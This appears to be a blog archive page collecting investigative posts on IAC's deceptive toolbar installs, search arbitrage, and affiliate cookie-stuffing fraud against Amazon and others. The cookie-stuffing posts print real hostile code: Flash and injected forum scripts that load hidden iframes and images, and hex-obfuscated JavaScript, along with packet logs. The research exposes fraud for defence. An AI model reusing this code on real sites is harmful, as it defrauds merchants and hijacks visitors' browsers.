Webcake adware inserts an AT&T ad into the YouTube site without permission from Google.
Ad injectors insert ads into others’ sites, without permission from those sites and without payment to those sites. In this article, we review the basic operation of ad injectors, then examine the ad networks, exchanges, and other intermediaries that broker the placement of advertising through injectors.
We also report which advertisers most often advertise through injectors. Whether through complexity, inattention, or indifference, these advertisers’ expenditures are ultimately the sole revenue source for injectors.
Crucially, IAC remains substantially dependent on Google for monetization of IAC’s search services. A rigorous application of Google’s existing rules would put a stop to many of IAC’s practices, and sensible updated rules — following the stated objective of Google’s existing policies — would end much of the rest.
IAC’s search toolbar business is grounded in placing IAC toolbars on as many computers as possible. To that end, IAC offers 50+ different toolbars with a variety of branding — Webfetti (“free Facebook graphics”), Guffins (“virtual pet games”), religious toolbars of multiple forms (Know the Bible, Daily Bible Guide, Daily Jewish Guide), screensavers, games, and more. One might reasonably ask: Why would a user want such a toolbar?
IAC ad promises “free online television” but actually merely links to material already on the web; promises an “app” but actually provides a search toolbar.
IAC ad solicits installations via “virtual pet” ad distinctively catering to kids.
Other IAC Guffins ads specifically invite “kids” to install. (Screenshot by iSpionage)
IAC Guffins offer features multiple animated cartoon images, distinctively catering to kids.
The Television Fanatic toolbar is instructive. IAC promotes this toolbar with search ads that promise “free online television” and “turn your computer into a TV watch full TV episode w free app.” It sounds like an attractive deal — many users would relish the ability to watch free live broadcast television on an ordinary computer, and it would not be surprising if such a service required downloading some sort of desktop application or browser plug-in. But in fact Television Fanatic offers nothing of the sort. To the extent that Television Fanatic offers the “free online television” promised in the ad, it only links to ordinary video content already provided by others. (For example, I clicked the toolbar’s “ABC” link and was taken to http://abc.go.com/watch/ — an ordinary ABC link equally available to users without Television Fanatic. That’s a far cry from IAC’s promise of special access to premium material.
Meanwhile, IAC’s Guffins toolbar distinctively targets kids. IAC promotes Guffins via search ads for terms like “virtual pet”, and the resulting ad says Guffins offers “puppy, cats, bunny, dragons & more” which a user can “feed, play, [and] care for.” The landing page features four animated animals with oversized faces and overstated features, distinctively attractive to children. Under COPPA factors or any intuitive analysis, IAC clearly targets kids. Indeed, ad tracking service iSpionage reports Guffins ads touting “Free Kids Games Download”, “Free Kids Computer Games”, “Play Kids Games Online”, and more — explicitly inviting children to install Guffins. Of course kids are ill-equipped to evaluate IAC’s offer — less likely to notice IAC’s disclosures of an included toolbar, less likely to understand what a search toolbar even is, and less able to evaluate the wisdom of installing such a toolbar in exchange for games.
While IAC’s ads often promise an “app” (including as shown in the ad screenshots at right), IAC actually offers just toolbars — add-ins appearing within web browsers, not the freestanding applications that the ads suggest. That’s all the more deceptive: IAC enticed users with the promise of genuine distinct programs offering exceptional video content and rich gaming. Instead IAC provided browser plug-ins that claim valuable screen space whenever users browse the web. And far from providing exclusive content, IAC toolbars send users to material already on the web and driving traffic to IAC’s advertising displays (as detailed in the next section). That’s strikingly inferior.
IAC’s toolbar installation practices stack up unfavorably vis-a-vis applicable Google policies, industry standards, and regulatory requirements. Google’s Software Principles call for “Upfront disclosure” with no suggestion that an app may promise one thing in an initial solicitation, then something else in a subsequent landing page. (IAC is obliged to comply with Google’s rules because IAC toolbars show ads from Google, as discussed in the next section.) Meanwhile, the Anti-Spyware Coalition specifically flags installations targeting children, allowing bundling by affiliates, and modifying browser settings as risk factors making software a greater concern. Even decades-old FTC rules are on point, disallowing “deceptive door openers” that promise one thing at the outset (like IAC’s initial promise of “free online television”) but later deliver something importantly different (a search toolbar).
Web searches reveal numerous user complaints about IAC toolbars. Consider search results for “televisionfanatic”. A first result links to product’s official site. Second is a Sitejabber forum with 20 harsh reviews. (17 reviewers gave Television Fanatic just one star out of five, with comments systematically reporting surprise and annoyance at the toolbar’s presence.) The third result advises “How to uninstall a Television fanatic toolbar”, and the fourth is multiple Yahoo Answers discussions including a user asking “Is television fanatic toolbar a virus?” and others repeatedly complaining about unintended installation. Clearly numerous users are dissatisfied with Television Fanatic.
So too for DailyBibleGuide. In a Q1 2011 earnings call, IAC CEO Greg Blatt touted the DailyBibleGuide toolbar as a new product IAC is particularly proud of. But a Google search results for “DailyBibleGuide” include a page advising “do not download Dailybiblestudy, Dailybibleguide, or Knowthebible extension.” There and elsewhere, users seem surprised to receive IAC’s toolbars. Reading users’ complaints, it seems their confusion ultimately results from IAC’s decision to deliver bible trivia via a toolbar. After all, such material would more naturally be delivered via a web page, email newsletter, or perhaps RSS feed. IAC chose the odd strategy of toolbar-based delivery not because it was genuinely what users wanted, but because this is the format IAC can best monetize. No wonder users systematically end up disappointed.
By all indications, a huge number of users are running IAC toolbars. The IAC toolbars discussed in this section all send users to mywebsearch.com, a site users are unlikely to visit except if sent there by an IAC toolbar. Alexa reports that mywebsearch.com is the #41 most popular site in the US and #71 worldwide — more popular than Instagram, Flickr, Pandora, and Hulu.
Some of IAC’s browser configuration changes remain in place even if a user removes an IAC toolbar. I installed then uninstalled an IAC Television Fanatic toolbar and received a prompt instructing “Click here for help on resetting your home page and default search settings.” The resulting page specified four different procedures totaling 16 steps — far more lengthy than the initial installation. I can see no proper reason why uninstall is so difficult. Indeed, IAC’s incomplete uninstall specifically violates Google’s October 2012 requirement that “During the uninstall process, users must be presented with a choice that gives them the option of returning their browser’s user settings to the previous settings.” Google’s Software Principles are also on point, instructing that uninstall must be “easy” and must disable “all functions of the application” — whereas IAC’s automated installer does not undo all of IAC’s changes, and IAC’s manual 16-step process is the opposite of “easy.”
The Special Problems of IAC Ask Toolbar Installed by Oracle’s Java Updates
Java security update installs Ask Toolbar by default — a single click in a multi-step installer.
Ongoing Oracle Java updates also install the IAC Ask Toolbar. I discuss these installations in this separate section because they raise concerns somewhat different from the IAC toolbars discussed above. I see five key problems with Oracle Java updates that install IAC toolbars:
First, as Ed Bott noted last week, the “Install the Ask Toolbar” checkbox is prechecked, so users can install the Ask toolbar with a single click on the “Next” button. Accidental installations are particularly likely because the Ask installation prompt is step three of five-screen installation process. When installing myriad software updates, it’s easy to get into a routine of repeatedly clicking Next to finish the process as quickly as possible. But in this case, just clicking Next yields the installation of Ask’s toolbar.
Second, although the Ask installation prompt does not show a “focus” (a highlighted button designated as the default if a user presses enter), the Next button actually has focus. In testing, I found that pressing the enter or spacebar keys has the same effect as clicking “Next.” Thus, a single press of either of the two largest keys on the keyboard, with nothing more, is interpreted as consent to install Ask. That’s much too low a bar — far from the affirmative indication of consent that Google rules and FTC caselaw call for.
Third, in a piece posted today, Ed Bott finds Oracle and IAC intentionally delaying the installation of the Ask Toolbar by fully ten minutes. This delay undermines accountability, especially for sophisticated users. Consider a user who mistakenly clicks Next (or presses enter or spacebar) to install Ask Toolbar, but immediately realizes the mistake and seeks to clean his computer. The natural strategy is to visit Control Panel – Programs and Features to activate the Ask uninstaller. But a user who immediately checks that location will find no listing for the Ask Toolbar: The uninstaller does not appear until the Ask install finishes after the intentional ten minute delay. Of course even sophisticated users have no reason or ability to know about this delay. Instead, a sophisticated user would conclude that he somehow did not install Ask Toolbar after all — and only later will the user notice and, perhaps, proceed with uninstall. Half a decade ago I found WhenU adware engaged in similar intentional delay. Similarly, NYAG litigation documents revealed notorious spyware vendor Direct Revenue intentionally declining to show ads in the first day after its installation. (Direct Revenue staff said this delay would “reduce the correlation between the Morpheus download [which bundled Direct Revenue spyware] and why they are seeing [Direct Revenue’s popup] ads” — confusion that DR staff hoped would “creat[e] less of a path to what they [users] should uninstall.”) Against this backdrop, it’s particularly surprising to see IAC and Oracle adopt this tactic.
Fourth, IAC makes changes beyond the scope of user consent and fails to revert these changes during uninstall. The Oracle/IAC installation solicitation seeks permission to install an add-on for IE, Chrome, and Firefox, but nowhere mentions changing address bar search or the default Chrome search provider. Yet the installer in fact makes all these changes, without ever seeking or receiving user consent. Conversely, uninstall inexplicably fails to restore these settings. As noted above, these incomplete uninstalls violate Google’s Software Principles requirement that an “easy” uninstall must disable “all functions of the application.”
Finally, the Java update is only needed as a result of a serious security flaw in Java. It is troubling to see Oracle profit from this security flaw by using a security update as an opportunity to push users to install extra advertising software. Java’s many security problems make bundled installs all the worse: I’ve received a new Ask installation prompts with each of Java’s many security updates. (Ed Bott counts 11 over the last 18 months.) Even if the user had declined IAC’s offer on half a dozen prior requests, Oracle persists on asking — and a single slip-up, just one click or keystroke on the tenth request, will nonetheless deliver Ask’s toolbar.
A security update should never serve as an opportunity to push additional software. As Oracle knows all too well from its recent security problems, users urgently need software updates to fix serious vulnerabilities. By bundling advertising software with security updates, Oracle teaches users to distrust security updates, deterring users from installing updates from both Oracle and others. Meanwhile, by making the update process slower and more intrusive, Oracle reduces the likelihood that users will successfully patch their computers. Instead, Oracle should make the update process as quick and easy as possible — eliminating unnecessary steps and showing users that security updates are quick and trouble-free.
Toolbar Operations and Result Format
Once a user receives an IAC toolbar, a top-of-browser stripe appears in Internet Explorer and Firefox, and IAC also takes over default search, address bar search, and error handling. That’s an intrusive set of changes, and particularly undesirable in light of the poor quality of IAC’s search results.
If a user runs a search through an IAC toolbar or through a browser search function modified by IAC, the user receives Mywebsearch or Ask.com results page with advertisements and search results syndicated from Google. The volume of advertisements is remarkable: On a 800×600 monitor, the entire first two screens of Mywebsearch results presented advertisements (screen one, screen two) — four large ads with a total of seven additional miniature ads contained within. The first algorithmic search result appears on the third on-screen page, where users are far less likely to see it. At Ask.com, ads are even larger: fully seven advertisements appear above the first algorithmic result, and three more ads appear at page bottom — more than filling two 800×600 screens.
IAC obtains these advertisements and search results from Google, but IAC omits features Google proudly touts in other contexts. For example, Google claims that its maps, hotel reviews, and hotel price quotes benefit users and save users time — but inexplicably IAC Mywebsearch lacks these features, even though these features appear prominently and automatically for users who run the same search at Google. In short, a user viewing IAC results gets listings that are intentionally less useful — designed to serve IAC’s business interest in encouraging the user to click extra advertisements, with much less focus on providing the information that IAC and Google consider most useful.
The ad format at IAC Mywebsearch and Ask.com makes it particularly likely that users will mistake IAC ads for algorithmic results. For one, IAC omits any distinctive background color to help users distinguish ads from algorithmic results. Furthermore, IAC’s voluminous ads exceed beyond the first screen of results for many searches. A user familiar with Google would expect ads to have a distinctive background color and would know that ads typically rarely completely fill a screen — so seeing no such background color and similar-format results continuing for two full screens, the user might well conclude that these are algorithmic listings rather than paid advertisements.
Traffic Arbitrage
IAC buys traffic from Google and other search engines. The resulting sequence is needlessly convoluted: A user runs a search at Google, clicks an IAC ad purporting to offer what the user requested], then receives an IAC landing page with the very same ads just seen at Google. For example, I searched for [800 number look up] at Google and clicked an Ask ad. The resulting Ask page allocated most of its the above-the-fold space to three of the same ads I had just seen at Google! This process provides zero value to the user — indeed, negative value, in that the extra click adds time and confusion. But IAC monetizes its site unusually aggressively — for example, regularly putting four ads at the top of the page, where Google sometimes puts none and never presents more than three. Of course these extra ads serve IAC’s interest: By pushing a fraction of users to click multiple ads, IAC can more than cover its costs of buying the traffic from Google in the first place.
Longstanding Google rules exactly prohibit IAC’s search arbitrage. Google’s AdWords Policy Center instructs that “Google AdWords doesn’t allow the promotion of websites that are designed for the sole or primary purpose of showing ads.” Google continues: “One example of this kind of prohibited behavior is called arbitrage, where advertisers drive traffic to their websites at low cost and pay for that traffic by earning money from the ads placed on those websites”
Why isn’t Google enforcing its rules against arbitrage? An October 2012 Search Engine Land article quotes a reader who wrote to Google AdWords support, where a representative replied with unusual candor: “Since Ask.com is considered a Google product, they are able to serve ads at the top of the page when the search query is found to be relevant to their ads.” Of course Ask.com is not actually “a Google product” — it’s a Google syndicator, showing Google ads in exchange for a revenue share, just like thousands of other sites. But with IAC reportedly Google’s biggest advertising customer, special privileges would be less than surprising. Meanwhile, Google lets IAC do Google’s dirty work — showing extra ads to gullible users — which could let Google collect additional ad revenue from those users’ clicks. Still, that’s no help to users (who get pulled into extra page-views and less useful pages with more advertisements) or advertisers (whose costs increase as a result). And once the public recognizes Google’s role in authorizing this scheme, selling all advertising, and funding the entirety of IAC’s activity, Google ends up looking at least as culpable as IAC.
Ads with Oversized Clickable Areas
Contrary to standard industry practice and Google rules, IAC makes the entire ad — including domain name, ad text, and large whitespace — into a clickable link. Notice the large clickable area flagged in the red box.
At Google, only the ad itself is clickable. Not the much smaller red box.
IAC’s ads also flout industry practice and Google rules as to the size of an ad’s clickable area. Both in arbitrage landing pages and in toolbar results, IAC’s search result pages expand the clickable area of each advertisement to fill the entire page width, sharply increasing the fraction of the page where a click will be interpreted as a request to visit the advertiser’s page.
See the screenshot at right. (To create the red-outlined box showing the shape of the clickable area, I clicked an empty section of the ad and began a brief drag, causing my browser to highlight the ad’s clickable area in red as shown in the screenshot.)
Ask is an outlier in converting whitespace around an ad into a clickable area. Every other link on Ask.com landing pages — every link other than an advertisement — follows standard industry practice with only the words of the link being clickable, but not the surrounding whitespace. Indeed, at Google, Bing, and Yahoo, white space is never clickable. At Google and Bing, only ad titles are clickable, not ad domain names, or ad text. (See Google screenshot at right, showing the limited clickable area of a Google ad.) At Yahoo, only ad titles and domain names are clickable, not ad text or white space.
IAC has taken intentional action to expand its ads’ clickable area to cover all available width. As W3schools explains, “A block element is an element that takes up the full width available.” To expand ad hyperlinks to fill the entire width, Ask tags each ad hyperlink with the CSS STYLE of display:block.
Google’s rules prohibit IAC’s expanded clickable areas. Google requires that “clicking on space surrounding an ad should not click the ad.” Yet IAC nonetheless makes a clickable area out of the area surrounding each ad, extending all the way to the right column.
IAC’s expanded ads invite accidental clicks. Accidental clicks are particularly likely from the inexperienced users IAC systematically targets for toolbar installations, and also from users searching on tablets, phones, and other touch devices. These extra clicks waste users’ time and drive up advertisers’ costs — but every such click yields extra revenue for IAC and Google.
What Comes Next
Google should enforce its rules strictly. No doubt IAC can offer Google some short-term revenue via extra ad-clicks from unsophisticated or confused users. But this isn’t the kind of business Google aspires to, and Google’s public statements indicate no interest in such bottom-feeding. Indeed, a fair application of Google’s existing AdWords rules would disallow both IAC’s toolbar ads (using AdWords to solicit installations) and IAC’s search arbitrage ads (using AdWords to send users to IAC pages presenting syndicated AdWords ads). Meanwhile, numerous Google AdSense rules are also on point, including prohibiting encouraging accidental clicks, prohibiting site layout that pushes content below the fold, and limiting the number of ads per page. So too for Software Principles requiring up-front disclosure as well as “easy” and complete uninstall.
As a publicly-traded company, IAC should benefit from the oversight and guidance of its outside directors. But the New York Times commented in 2011 that “IAC’s board is filled with high-powered friends of Mr. Diller,” calling into question the independence and effectiveness of IAC’s outside directors. Of particular note is Chelsea Clinton, who joined IAC’s board in September 2011. Ms. Clinton’s prior experience includes little obvious connection to Internet advertising or online business, suggesting that she might need to invest extra time to learn the details of IAC’s business. Yet she also has weighty commitments including ongoing doctoral studies, serving as an Assistant Vice Provost at NYU, and reporting as a special correspondent for the NBC Nightly News — calling into question the time she can devote to IAC matters. The Times questioned why IAC had brought in Ms. Clinton, concluding that “This is clearly an appointment made because of who she is, not what she has done.” Indeed, Ms. Clinton’s background means she will be held to a particularly high standard: if she fails to stop IAC’s bad practices, the public may reasonably ask whether she has done her duty as an outside director.
Recent research from Goldman analyst Heath Terry flags investor concerns at IAC’s tactics. In a December 4, 2012 report, Terry downgraded IAC to sell due to vulnerability from Google policy changes. A January 9, 2013 follow-up noted IAC changing its uninstall practices to comply with Google policy as well as slowdown in arbitrage. Terry flags some important factors, and I share his bottom line that IAC’s search practices are unsustainable. But the real shoe has yet to drop. If Google is embarrassed at IAC’s actions — and it should be — Google is easily able to put an end to this mess.
I prepared a portion of this article at the request of a client that prefers not to be listed by name. The client kindly agreed to let me include that research in this publicly-available posting.
Our automation continuously scours the web for rogue affiliates. In our query tool, we provide a basic sense of how much we’ve found. We have also writtenupscoresofsamplerogueaffiliates, but the holiday season provides an impetus for more: Thanks to high online spending, affiliate fraud at this time of year is particularly profitable for perpetrators — and particularly costly to merchants.
In today’s article, we report the ten Commission Junction affiliates and ten LinkShare affiliates most often seen by our automation. Our findings:
Some analysts view affiliate marketing as “fraud-proof” because affiliates are only paid a commission when a sale occurs. But affiliate marketing nonetheless gives rise to various disputes — typically, merchants alleging that affiliates claimed commission they had not properly earned. Most such disputes are resolved informally: merchants withhold amounts affiliates have purportedly earned but have not yet received. Occasionally, disputes end up in litigation with public availability of the details of alleged perpetrators, victims, amounts, and methods.
In today’s posting, I present known litigation in this area including case summaries and primary source documents:
Merchants face special challenges when operating large affiliate marketing programs: rogue affiliates can claim to refer users who would have purchased from those merchants anyway. In particular, rogue “cookie-stuffer” affiliates deposit cookies invisibly and unrequested — knowing that a portion of users will make purchases from large merchants in the subsequent days and weeks. This tactic is particularly effective in defrauding large merchants: the more popular a merchant becomes, the more users will happen to buy from that merchant within a given referral period.
To cookie-stuff at scale, an attacker needs a reliable and significant source of user traffic. In February we showed a rogue affiliate hacking forum sites to drop cookies when users merely browse forums. But that’s just one of many strategies. I previously found various cookie-stuffing on sites hoping to receive search traffic. In a 2009 complaint, eBay alleges that rogue affiliates used a banner ad network to deposit eBay affiliate cookies when users merely browsed web pages showing certain banner ads. See also my 2008 report of an affiliate using Yahoo’s Right Media ad network to deposit multiple affiliate cookies invisibly — defrauding security vendors McAfee and Symantec.
As the eBay litigation indicates, display advertising networks can be a mechanism for cookie-stuffing. Of course diligent ad networks inspect ads and refuse cookie-stuffers (among other forms of malvertising). So we were particularly surprised to see Google AdSense running ads that cookie-stuff Amazon.
This innocuous-looking banner ad sets Amazon Associates cookies invisibly.
The Imgwithsmiles attack
We have uncovered scores of web sites running the banner ad shown at right. On 40 sites, on various days from February 6 to May 2, our crawlers found this banner ad dropping Amazon Associates affiliate cookies automatically and invisibly. All 40 sites include display advertising from Google AdSense. Google returns a Flash ad from Imgwithsmiles. To an ordinary user, the ad looks completely innocuous — the unremarkable “review different headphones” image shown at right. However, the ad actually creates an invisible IMG (image) tag loading an Amazon Associates link and setting cookies accordingly. Here’s how:
First, the ad’s Flash code creates an invisible IMG tag (10×10 pixels) (yellow highlighting below) loading the URL http://imgwithsmiles.com/img/f/e.jpg (green).
function Stuff() {
if (z < links.length) {
txt.htmltext = links[z];
z++;
return(undefined);
}
clearinterval(timer);
}
links = new array();
links[0] = "<img src="http://imgwithsmiles.com/img/f/e.jpg" width="10" height="10"/>";z = 0;timer = setinterval(Stuff, 2000);
While /img/f/e.jpg features a .jpg extension consistent with a genuine image file, it is actually a redirect to an Amazon Associates link. See the three redirects preserved below (blue), including a tricky HTTPS redirect (orange) that would block many detection systems. Nonetheless, traffic ultimately ends up at Amazon with an Associates tag (red) specifying that affiliate charslibr-20 is to be paid for these referrals.
If a user happens to make a purchase from Amazon within the subsequent 24 hours, Amazon will pay a commission to this affiliate — even though the affiliate did nothing at all to cause or encourage the user to make that purchase.
Does Amazon know?
The available information does not reveal whether or not Amazon knew about this affiliate’s practices. Nor can we easily determine whether, as of the May 2, 2012 observations presented above, this affiliate was still in good standing and receiving payment for the traffic it sent to Amazon.
On one hand, Amazon is diligent and technically sophisticated. Because Amazon runs one of the web’s largest affiliate programs, Amazon is necessarily familiar with affiliate fraud. And Amazon has ample incentive to catch affiliate fraud: Every dollar paid to fraudulent affiliates is money completely wasted, coming straight from the bottom line.
On the other hand, we have observed this same affiliate cheating Amazon for three months nonstop. All told, we’ve seen this affiliate rotating through 49 different Associates IDs. If Amazon had caught the affiliate, we would have expected the affiliate to shift away from any disabled affiliate accounts, most likely by shifting traffic to new accounts. Of the 28 Associates IDs we observed during February 2012, we still saw 6 in use during May 2012 (month-to-date) — suggesting that while Amazon may be catching some of the affiliate’s traffic, Amazon probably is not catching it all.
A further indication of the affiliate’s earnings comes from the affiliate’s willingness to incur out-of-pocket costs to buy media (AdSense placements from Google) with which to deliver Amazon cookies. As best we can tell, Amazon is the affiliate’s sole source of revenue. Meanwhile, the affiliate must pay Google for the display ad inventory the affiliate receives. These direct incremental costs give the affiliate a clear incentive to cease operation if it concludes that payment from Amazon will not be forthcoming. From the affiliate’s ongoing actions we can infer that the affiliate finds this scheme profitable — that its earnings to date have exceeded its expenses to date.
How profitable is this affiliate’s attack? Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. Suppose the affiliate buys 1,000,000 CPM impressions from Google. Then the affiliate will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents. How much would the affiliate have to pay Google for 1,000,000 CPM impressions? We’ve seen this affiliate on a variety of sites, but largely sites in moderate to low-priced verticals. At $2 CPM, the affiliate’s costs would be $2,000 — meaning the affiliate would still be slightly profitable even if Amazon caught 3/4 of its affiliate IDs before the first payment!
We alerted our contact at Amazon Associates to our observations. We will update this post with any information Amazon provides.
While I’ve written up dozens of rogue affiliates on this site and in various presentations, today Wesley Brandi and I are introducing something better: query-based access to our records of affiliate fraud targeting top affiliate merchants. Enter a merchant’s domain name, and we’ll tell you how much affiliate fraud we’ve seen targeting that domain — handy for merchants wanting to check whether their program is clean, and for affiliates wanting to confirm the trustworthiness a program they’re considering promoting. We’re not currently posting details of the specific perpetrators, but we have affiliate ID numbers, domain names, and packet log proof on file for each violator, and we can provide these upon request.
Take a look:
Affiliate Fraud Information Lookup
(2015 update: service no longer operational)
Last month we presented an example cookie-stuffer using encoded JavaScript to drop scores of cookies invisibly. But how can such a cookie-stuffer get traffic to its site? Today’s example is particularly nefarious: Perpetrators using server bannertracker-script.com have hacked at least 29 different online discussion forums to add invisible code that lets them cookie-stuff forum visitors. Through this approach, perpetrators have gained access to a particularly large amount of traffic — letting them target all the more users.
Getting Traffic to Bannertracker-script
The perpetrators appear to be targeting a documented exploit in vBulletin (a popular forum discussion program built in PHP/MySQL) versions v4.x to v4.1.2. The exploit allows for a remote attacker to execute arbitrary PHP script as well as untrusted SQL queries. It was first reported in German in April 2011, then in English in January 2012. A video tutorial even offers step-by-step instructions on how to use this exploit.
Our automation systems have examined more than 500,000 sites, searching for code promoting the cookie-stuffers we are following. We have found numerous affected sites, including sites as popular as searchenginewatch.com (Alexa traffic rank #2045), webdeveloper.com (#2822) and redflagdeals.com (#3188) along with many more. Selected pages of these sites (typically the forum pages) embed hostile code from Bannertracker-script.
In each instance, the hostile code appears as a brief JavaScript addition to an otherwise-legitimate site. See the single line of inserted code highlighted in yellow below. Notably, the hostile code appears within a block of code embedding comScore tags (green highlighting below) — a place where site designers expect to see external JavaScript references, making the Bannertracker-script insertion that much less likely to be detected.
<!– Begin comScore Tag –>
<script type=”text/javascript” src=”http://www.bannertracker-script.com/banner/ads.php?a=big”></script> <script type=”text/javascript”>document.write(“<img id=’img1′ height=’1′ width=’1′>”);
document.getElementById(“img1”).src=”http://beacon.scorecardresearch.com/scripts/beacon.dll? C1=2&C2=5915554&C3=5915554&C4=www.redflagdeals.com &C5=&C6=&C7=” + escape(window.location.href) + “&C8=” + escape(document.title) + “&C9=” + escape(document.referrer) + “&rn=” + Math.floor(Math.random()*99999999);</script><!– End comScore Tag –>
Examining Bannertracker-script insertions on other sites, we found them in other inconspicuous places — for example, just before the </HTML> tag that ends a page.
Cookie-Stuffing by Bannertracker-script
As a result of the hack-based code insertion shown above, a user visiting any affected site receives Bannertracker-script code also. That code creates an invisible IFRAME which loads the Amazon site via an affiliate link. Here’s how: First, the code creates a doubly-invisible DIV (CSS style of display:hidden and visibility:none, shown in blue highlighting below). The code then creates an invisible IFRAME within that DIV (CSS display:none, visibility:hidden, size of 0x0 pixels, shown in purple highlighting below). The code instructs that the DIV load a URL on Http-uptime.com (grey) which redirects through to an Amazon Associates affiliate link with affiliate ID camerlucidpho-20 (red). See also the full packet log.
GET /banner/ads.php?a=big HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.bannertracker-script.com
HTTP/1.1 200 OK …
GPad = {
init: function () {
document.write(‘<div id=”GPAD” style=”visibility:hidden; display:none;”></div>’);
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’, ‘http://www.http-uptime.com/banner/index.php‘);
frame.setAttribute(‘style’, ‘display:none; width: 0px; height 0px; border: none; visibility:hidden‘);
frame.style.visibility = ‘hidden’;
frame.style.display = ‘none’;
var div = document.getElementById(‘GPAD’);
div.appendChild(frame);
}
}
GPad.init();
—
GET /index.php HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.http-uptime.com
HTTP/1.1 200 OK …
<html><head><meta http-equiv=”refresh” content=”0;url=http://www.http-uptime.com/icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932″ />
</head></html>
—
GET /icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932 HTTP/1.1 …
Host: www.http-uptime.com …
HTTP/1.1 302 Moved Temporarily …
Location: http://www.amazon.com/gp/search?ie=UTF8&keywords=&tag=camerlucidpho-20&index=pc-hardware&linkCode=ur2&camp=1789&creative=932
The net effect is to load Amazon’s site invisibly. Amazon operates using a 24-hour referral period, so if a user happened to make a purchase from Amazon within the next 24 hours, Amazon would credit this affiliate as the putative referer of the traffic — paying this affiliate a commission of at least 4% and as much as 15%.
Concealment by Bannertracker-script
The preceding discussion noted two mechanisms by which Bannertracker-script attempted to conceal its actions. First, it placed its tags within the comScore section of affected sites, where unfamiliar code is less likely to attract suspicion. Second, it loaded its tags invisibly, including via the multiple nested invisible elements detailed above. Still, by sending so much to Amazon, Bannertracker-script clearly recognized that it risked attracting scrutiny from Amazon, which might question how one affiliate obtained so much traffic. Bannertracker-script therefore turned to multiple Amazon Associates ID’s. In our testing, we found more than 200 such IDs of which we report 20 below:
abacemedi-20
aledesoftw-20
anybr-20
arizonosteopc-20
actkid-20
allesbluefree-20
apa0c5-20
artofdri-20
adirooutdocom-20
alsjopa-20
apitherapy03-20
astba-20
afrkilbeemov-20
amergumbmachc-20
apitroservic-20
atlcitgam-20
ajelcand-20
ancestorville-20
arasmazi-20
babblu-20
Using multiple IDs raises a further risk for Bannertracker-script: A diligent investigator might request the Bannertracker-script site repeatedly in order to attempt to learn most or all of Bannertracker-script’s IDs. Bannertracker-script attempted to reduce this risk via server-side logic to avoid serving the same user with two different ID’s, based on variables that seem to include client IP address, HTTP User-agent header, and more.
In principle, investigators might recognize Bannertracker-script by its distinctive domain name. But in fact we have seen this perpetrator also using other domain names. (We refer to the perpetrator as Bannertracker-script because that was the first such domain we found and, in our testing, still the most frequent.)
Affected Merchants
To date, we have primarily seen Bannertracker-script targeting Amazon. But other merchants are vulnerable to similar attacks that drop a large number of cookies invisibly in hopes that users make purchases from the corresponding merchants. In this regard, large merchants are particularly vulnerable: The more popular a merchant is, the greater the likelihood of a given user making a purchase from that merchant in a given time period. Indeed, we have also seen Bannertracker-script using the same technique to drop cookies for several adult web sites
Amazon’s exposure is somewhat reduced by its 24-hour affiliate commission window — paying commission to affiliates only on a user’s purchases within 24 hours of invocation of an affiliate link, whereas other merchants often grant credit for as long as 30 days. But Amazon’s large and growing popularity limits the effectiveness of this measure. Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. If Bannertracker-script can deposit one million Amazon cookies, via hacks of multiple popular sites, it will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents — substantial revenue, particularly given the prospect of hacking other vulnerable web sites. Ordinarily, one might expect Amazon to notice a new affiliate with a large spike in earnings. But by spreading its commissions across hundreds of affiliate accounts, Bannertracker-script may avoid or deflect such scrutiny.
We have reported this matter to our contacts at Amazon and will update this post with any information Amazon cares to share.
We have recently been testing web sites that drop affiliate cookies invisibly — claiming to have referred users to the corresponding merchants’ sites, when in fact users never asked to visit the merchants’ sites and never saw the merchants’ sites. Nonetheless, through invisible IFRAMEs, invisible IMG tags, and similar constructs, these pages manage to set affiliate cookies indicating that referrals occurred. Then, if users happen to make purchases from the targeted merchants, the cookie-stuffers collect affiliate commissions. With commissions as large as 40%, this tactic can be lucrative.
One large offender we recently found: Eshop600.co.uk. In automated and manual testing, we found 36 pages on the Eshop600 site, including the site’s home page, which drop dozens of cookies invisibly. To a user glancing at a web browser, the Eshop600 site looks perfectly normal:
But within the affected Eshop600 pages are 26 blocks of encoded JavaScript code. An example:
var i,y,x="3c696d672069643d22706963333722207372633d22....";y="";var _0x70c3=["x6Cx65x6Ex67x74x68","x25","x73x75x62x73x74x72","x77x72x69x74x65"];for(i=0;i<x[_0x70c3[0]];i+=2){ y+=unescape(_0x70c3[1]+x[_0x70c3[2]](i,2));} ;document[_0x70c3[3]](y);
We decoded this JavaScript to find an invisible IMG tag.
Note the CSS STYLE of display:none (yellow highlighting) which makes the entire tag invisible. In any event, the 75×100 size (green highlighting) is too small to load a genuine web page. Nonetheless, a trace of the redirect sequence shows that the IMG does indeed redirect through an affiliate network (ValueClick’s Commission Junction) (red) and on to an affiliate merchant (blue).
